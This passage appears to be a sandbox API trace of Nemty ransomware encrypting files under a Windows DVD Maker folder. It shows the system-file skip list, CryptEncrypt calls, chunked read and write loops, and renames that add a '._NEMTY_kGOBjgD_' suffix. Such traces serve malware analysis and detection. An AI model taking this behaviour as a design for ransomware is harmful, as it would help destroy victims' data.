| out: hHeap=0x4f90000) returned 1 [0065.133] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0065.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0065.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0065.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0065.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0065.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0065.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0065.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0065.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0065.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0065.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.134] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0065.134] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0065.134] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0065.134] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="...") returned 1 [0065.134] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="windows") returned -1 [0065.134] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0065.134] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="rsa") returned -1 [0065.134] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0065.134] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0065.134] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0065.134] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0065.134] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0065.134] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0065.134] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0065.134] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0065.134] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0065.135] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0065.135] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0065.135] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0065.135] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0065.135] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="programdata") returned -1 [0065.135] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="appdata") returned 1 [0065.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0065.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0065.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0065.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0065.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0065.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94328 [0065.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0065.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0065.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0065.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0065.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0065.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0065.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0065.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0065.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0065.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0065.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0065.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0065.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0065.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0065.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345640, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0065.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0065.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94328 [0065.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0065.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0065.135] Sleep (dwMilliseconds=0x5) [0065.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xda79b2b0, dwHighDateTime=0x1d561e7)) [0065.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xda79b2b0, dwHighDateTime=0x1d561e7)) [0065.143] GetLastError () returned 0x5 [0065.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0065.143] GetLastError () returned 0x5 [0065.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0065.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0065.144] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0065.144] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0065.144] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0065.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0065.144] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="ZO/m0wWe1zR9avD7DP0ConZoqbNZVfFjt1AhHOTyCkj4mB9dmn6P72LxdPS+I3Bo\r\nYEIecRNmYLJtTCphjtOEuFEWfNbc5AnOJLRjcrdt68qvvQNV4VwCsKhc14E4bI19\r\nf6Y+ocsUZiz5u7h1ZsJkrKXo2Fd8Ki9pjLe38mPJp4800G+rlfc2LSnh9sQvDZFo\r\npDXeMss3uK3/WD5liXsRTbkL72U/cK2S96p6aL2BOg0yFmtgBJ78L5o0lYPbhDIR\r\n1qlaNsNA0ILY3ej1ecVmnbTphi+AJ3B9jBM+bKH7xFGD06O3igkZQU4DVvrQ1+3l\r\nc2Mc+u6A7f/LrdfT51GKTw==\r\n", pcchString=0x653e91c) returned 1 [0065.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0065.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0065.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0065.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0065.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0065.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0065.144] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0065.145] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0065.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0065.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.145] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.154] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.154] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.164] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.165] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.174] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.174] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.183] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.183] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.193] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.193] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.202] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.203] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.212] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.212] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.222] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.222] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.231] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.231] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.231] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.231] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.241] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.241] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.247] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.247] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.253] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.253] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.253] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.253] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0065.253] CloseHandle (hObject=0xffffffff) returned 0 [0065.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0065.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0065.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0065.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0065.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0065.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0065.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0065.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0065.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0065.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0065.254] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0065.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0065.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0065.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0065.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0065.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0065.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0065.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0065.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0065.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0065.254] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, 